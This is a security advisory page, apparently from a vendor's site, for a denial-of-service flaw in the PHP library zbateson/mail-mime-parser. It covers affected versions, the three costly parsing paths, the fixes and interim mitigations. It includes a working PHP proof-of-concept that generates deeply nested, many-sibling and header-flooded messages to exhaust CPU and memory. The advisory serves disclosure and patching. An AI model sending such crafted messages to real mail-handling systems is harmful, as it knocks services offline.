
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: >= 2.0.0, < 3.0.6
Patched in 3.0.6
Vulnerable: >= 4.0.0, < 4.0.2
Patched in 4.0.2
Details
An uncontrolled resource consumption / algorithmic complexity vulnerability affecting any application that parses untrusted email with this library.
Three independent parsing paths are super-linear in cost, so a byte-size cap on the caller side does not bound the work done. A crafted message under 2 MB can consume seconds of CPU or hundreds of megabytes to multiple gigabytes of memory (leading to an out-of-memory kill), enabling denial of service. The parse is lazy, but the cost is paid on the first getAllParts() or content read.
MimeParserService::findContentBoundary() tests each content line against the current part and every ancestor via the recursive ParserMimePartProxy::setEndBoundaryFound(), so a nesting depth of D costs 1 + 2 + … + D comparisons. A ~600 KB message nested ~10,000 deep does not finish parsing in a minute.PartChildrenContainer::add() appends each child with array_splice($children, count($children), 0, [$part]), which reindexes the entire array on every call. The same container backs UUEncoded begin parts via NonMimeParserService.HeaderParserService::parse() reads header lines up to a blank line with no limit on header count or total size, so a few megabytes of header lines can hold hundreds of megabytes resident; a ~5 MB message of headers can reach multiple gigabytes and be OOM-killed.composer require zbateson/mail-mime-parser
<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;
function nestedMessage(int $depth): string {
$head = ''; $tail = '';
for ($i = 0; $i < $depth; $i++) {
$head .= "Content-Type: multipart/mixed; boundary=b$i\r\n\r\n--b$i\r\n";
}
return $head . "Content-Type: text/plain\r\n\r\nx\r\n" . $tail;
}
function siblingMessage(int $n): string {
return "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
. str_repeat("--b\r\nContent-Type: text/plain\r\n\r\nx\r\n", $n) . "--b--\r\n";
}
function headerMessage(int $n): string {
return "From: a@b\r\n" . str_repeat("X-H: v\r\n", $n) . "\r\nbody\r\n";
}
function measure(string $label, string $raw): void {
$t = microtime(true);
count((new MailMimeParser())->parse($raw, false)->getAllParts());
printf("%-22s input=%5.2f MB time=%6.2f s peak=%6.1f MB\n",
$label, strlen($raw) / 1048576, microtime(true) - $t,
memory_get_peak_usage(true) / 1048576);
}
measure('nesting depth=2000', nestedMessage(2000));
measure('siblings=50000', siblingMessage(50000));
measure('headers=300000', headerMessage(300000));
Run with a raised memory limit so the header case does not abort early:
php -d memory_limit=2048M poc.php // nesting depth=2000 input= 0.13 MB time= 2.08 s peak= 30.0 MB // siblings=50000 input= 1.72 MB time= 5.11 s peak= 276.0 MB // headers=300000 input= 2.29 MB time= 0.40 s peak= 380.3 MB
Fixed in 4.0.2 and 3.0.6. The fixes add configurable limits on multipart nesting depth and on header count / total header size (recording a parse error past the threshold rather than throwing), and change sibling append to O(n). Users should upgrade to one of these (or later) versions.
Versions 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. (Versions prior to 2.0 used a different parser and are not affected by all three paths.)
These costs are super-linear, so an input byte-size cap alone does not bound them. Until upgrading, restrict exposure of the parser to untrusted input, and run parsing under a constrained memory_limit and execution time limit so a malicious message fails its own request rather than exhausting the host.
EPSS, exploit probability
Low0.39%
estimated chance of real-world exploitation in the next 30 days, higher than 33.7% of every CVE FIRST.org scores
Refreshed 11/9/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.